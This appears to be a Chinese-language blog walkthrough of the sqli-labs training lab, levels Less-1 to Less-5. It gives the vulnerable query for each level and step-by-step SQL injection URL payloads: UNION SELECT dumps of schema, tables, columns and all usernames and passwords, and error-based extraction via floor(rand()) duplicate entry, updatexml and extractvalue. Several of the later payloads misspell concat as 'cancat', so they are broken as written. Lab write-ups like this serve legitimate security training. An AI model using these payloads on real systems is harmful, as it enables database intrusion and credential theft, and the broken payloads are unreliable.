something about sqliLabs 0x01

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-1

Get - Error based - Single quotes - String

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

注入点是id,正常urlhttp://train.com/Less-1/?id=1

注入id=10'or+true,会有报错信息(多余'),重新注入id=10'or+true%23%23#, 注释掉尾部的剩余sql语句

  • 确认显示列

    注入?id=1'+and+false+union+select+1,2,3+--+,页面上显示2,3,因此显示列为第2列与第3列。

  • 获取敏感信息

    利用获取的显示列,构造sql,将敏感信息放置在第2列与第3列中显示在页面上。

    注入?id=1'+and+false+union+select+1,version(),database()+--+,可以获得数据库版本号 与数据库名。

    • 获取数据库名

      注入?id=1'+and+false+union+select+1,(select+group_concat(schema_name)+from+information_schema.schemata),database()+--+, 可以获得当前数据库用户 所有数据库 (从information_schema库的schemata表中拼接schema_name获得)。

    • 获取数据表名

      获取库名的状态下,可以根据目标库名,获取表名。
      ?id=1'+and+false+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where table_schema='security'),database()+--+, 可以获得目标数据库的所有表名(从information_schema库的tables表中拼接table_name获得)。

    • 获取列名

      获取表名的状态下,可以根据目标表名,获取对应的字段名。
      ?id=1'+and+false+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where table_name='users'),database()+--+, 可以获得目标表的所有字段名(从information_schema库的columns表中拼接column_name获得)。

    • 获取关心信息

      获取字段名后,还有什么是获取不到的呢?
      ?id=1'+and+false+union+select+1,(select+group_concat(username)+from+security.users),(select+group_concat(password)+from+security.users)+--+, 可以获得所有用户的用户名及其对应的密码。

Less-2

Get - Error based - Integer based

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1相同

Less-3

Get - Error based - Single quotes with twist - String

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

相比Less-1,还需要闭合括号(),其它与Less-1相同。

Less-4

Get - Error based - Double quotes - String

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

此次以"(双引号)包裹参数,因此尝试闭合"

实际上当尝试注入id=1'+and+false+--+,却返回结果时,就应该考虑更换闭合方式。

成功闭合后,即与Less-1相同。

Less-5

Get - Double Injection - Single quotes - String

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

实际尝试后,注入?id=1'+and+false+--+?id=1'+or+true+--+页面反应不同样,即标志着确实有注入点。

只是,页面没有显示信息,如何获取信息呢?
并非没有办法。此处sql语句错误时,会输出错误信息,因此恶意构造sql语句,将关心信息藏在 报错输出中。

  • Duplicate entry

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    and
    (
    select 1 -- 检索y的值(1)
    from ( -- 括号必需
    select count(*)
    ,concat( -- 利用 concat函数拼接内容,起别名为x
    0x23 -- 拼接#符号,分隔信息
    ,($PAYLOAD) -- payload
    ,0x23
    ,floor(rand(0)*2) -- floor函数与count(*),group by,结合使用来报错
    ) as x
    from information_schema.tables
    group by x -- floor产生的0/1序列,group by 时会报错
    ) as y
    )

    使用公式and+(+select+1+from+(+select+count(*)+,concat(0x23,($PAYLOAD),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+,
    构造payload,?id=100'+and+(+select+1+from+(+select+count(*)+,concat(0x23,(select+database()),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+

  • updatexml报错

    1
    2
    3
    4
    5
    6
    7
    and
    ( -- 括号必需
    updatexml(1
    ,concat($PAYLOAD -- ~(0x7e)是非法字符,一定会报错
    ,0x7e)
    ,1)
    )

    updatexml(XML_document, XPath_string, new_value),当XPath_string格式出现错误时,mysql会报语法错误。

    使用公式,and+(updatexml(1,cancat(database(),0x7e),1))+--+, 构造payload,?id=99'+and+(updatexml(1,cancat(database(),0x7e),1))+--+

  • extractvalue报错

    1
    2
    3
    4
    5
    6
    7
    and
    ( -- 括号必需
    extractvalue(1,
    cancat($PAYLOAD
    ,0x7e)
    )
    )

    extractvalue(XML_document, XPath_string),与updatexml()函数相同,当XPath_string格式出现错误时,mysql会报语法错误。

    使用公式and+(extractvalue(1,cancat($PAYLOAD,0x7e)))+--+,构造payload,?id=99'+and+(extractvalue(1,cancat(database(),0x7e)))+--+